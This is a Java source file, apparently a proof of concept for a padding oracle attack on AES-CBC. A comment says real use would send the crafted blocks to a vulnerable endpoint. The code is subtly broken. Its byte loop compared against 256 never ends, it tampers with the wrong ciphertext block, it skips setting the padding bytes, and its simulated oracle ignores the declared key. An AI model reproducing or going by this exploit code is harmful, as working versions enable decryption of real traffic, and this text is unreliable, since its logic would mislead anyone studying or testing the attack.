import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.ByteBuffer;
public class PaddingOraclePOC {
public static void main(String[] args) throws Exception {
byte[] key = "1234567890abcdef".getBytes(); // Example key
byte[] iv = new byte[16];
byte[] ciphertext = hexToBytes("target_ciphertext_here");
// Padding Oracle Attack Simulation
byte[] decrypted = new byte[0];
for (int block = ciphertext.length / 16 - 1; block >= 0; block--) {
byte[] blockCiphertext = new byte[16];
System.arraycopy(ciphertext, block * 16, blockCiphertext, 0, 16);
byte[] intermediate = new byte[16];
for (int i = 15; i >= 0; i--) {
for (byte b = 0; b < 256; b++) {
byte[] crafted = new byte[16];
System.arraycopy(blockCiphertext, 0, crafted, 0, 16);
crafted[i] = b;
// Check if padding is valid (oracle response)
if (checkPaddingOracle(crafted)) {
intermediate[i] = (byte)(b ^ (16 - i));
break;
}
}
}
byte[] previousBlock = block > 0 ?
java.util.Arrays.copyOfRange(ciphertext, (block-1)*16, block*16) : iv;
byte[] plaintextBlock = new byte[16];
for (int i = 0; i < 16; i++) {
plaintextBlock[i] = (byte)(intermediate[i] ^ previousBlock[i]);
}
decrypted = concat(plaintextBlock, decrypted);
}
System.out.println("Decrypted: " + new String(decrypted));
}
static boolean checkPaddingOracle(byte[] data) {
// Simulate oracle check - in real attack, send to vulnerable endpoint
try {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(new byte[16], "AES"), new IvParameterSpec(new byte[16]));
cipher.doFinal(data);
return true;
} catch (Exception e) {
return false;
}
}
static byte[] concat(byte[] a, byte[] b) {
byte[] result = new byte[a.length + b.length];
System.arraycopy(a, 0, result, 0, a.length);
System.arraycopy(b, 0, result, a.length, b.length);
return result;
}
static byte[] hexToBytes(String hex) {
int len = hex.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte)((Character.digit(hex.charAt(i), 16) << 4) + Character.digit(hex.charAt(i+1), 16));
}
return data;
}
}